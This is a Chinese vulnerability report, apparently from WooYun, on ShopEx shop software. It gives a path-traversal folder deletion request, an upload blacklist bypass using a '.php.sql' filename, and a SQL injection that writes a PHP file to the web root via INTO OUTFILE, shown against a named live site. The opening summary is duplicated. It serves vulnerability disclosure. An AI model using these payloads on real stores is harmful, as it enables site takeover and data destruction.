### 简要描述: 我终于知道ShopEx是干嘛的了,蛮多店铺用的 比昨天拿shell的方法更为简单有效~ PS:前台拿shell & 后台拿shell & 后台任意文件夹删除 ### 详细说明: 0x1 后台任意文件删除 在模板列表删除其他模板,用burp截包 ``` GET /shopex/shopadmin/index.php?ctl=system/template&act=remove&p[0]=testacccc&_ajax=true&_ss=goods,setting,site,tools,sale HTTP/1.1 Host: 10.1.1.100 Proxy-Connection: keep-alive X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.81 Safari/537.1 Accept: text/javascript, text/html, application/xml, text/xml, */* Referer: http://10.1.1.100/shopex/shopadmin/index.php Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 Cookie: ********************* ``` 将p[0]修改为相对于/themes的相对路径 0x2 后台拿shell ``` function check_file_name($file_name){ $black_list = array('asp'=>1,'jsp'=>1,'php'=>1,'php5'=>1); if(!$black_list[$file_name]){ return true; } return false; } ``` 上传一个模板~ 里面添加一个test.php.sql 貌似你们没有听这位大哥的意见: [WooYun:...
### 简要描述: 我终于知道ShopEx是干嘛的了,蛮多店铺用的 比昨天拿shell的方法更为简单有效~ PS:前台拿shell & 后台拿shell & 后台任意文件夹删除 ### 详细说明: 0x1 后台任意文件删除 在模板列表删除其他模板,用burp截包 ``` GET /shopex/shopadmin/index.php?ctl=system/template&act=remove&p[0]=testacccc&_ajax=true&_ss=goods,setting,site,tools,sale HTTP/1.1 Host: 10.1.1.100 Proxy-Connection: keep-alive X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.81 Safari/537.1 Accept: text/javascript, text/html, application/xml, text/xml, */* Referer: http://10.1.1.100/shopex/shopadmin/index.php Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3 Cookie: ********************* ``` 将p[0]修改为相对于/themes的相对路径 0x2 后台拿shell ``` function check_file_name($file_name){ $black_list = array('asp'=>1,'jsp'=>1,'php'=>1,'php5'=>1); if(!$black_list[$file_name]){ return true; } return false; } ``` 上传一个模板~ 里面添加一个test.php.sql 貌似你们没有听这位大哥的意见: [WooYun: shopEX商城后台,模板过滤不严,可成功上传木马](http://www.wooyun.org/bugs/wooyun-2012-06315) 建议不要用黑名单~ 这很容易绕过 [<img src="https://images.seebug.org/upload/201208/23200458190c56d40ba86e124983cbdc248fd8e3.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201208/23200458190c56d40ba86e124983cbdc248fd8e3.png) 0x3 前台拿shell 演示站抽风了~ 我拿其典型案例做演示 需要的条件: 1.普通用户的权限 2.一个可读可写可执行的目录 http://www.ansels.cn/ [<img src="https://images.seebug.org/upload/201208/2320141145f4ab137e5b8ba4d7c0b6633564d229.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201208/2320141145f4ab137e5b8ba4d7c0b6633564d229.png) 发送给填入: ``` test' union select CHAR(60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 59, 63, 62) into outfile '/usr/local/apache/htdocs/images/default/yy520.php' # ``` [<img src="https://images.seebug.org/upload/201208/232014281a4deeec01834bff50357a731089fbf4.png" alt="" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201208/232014281a4deeec01834bff50357a731089fbf4.png) 昨天是用get提交参数,没法写文件~ 今天不同了~。~ ### 漏洞证明: test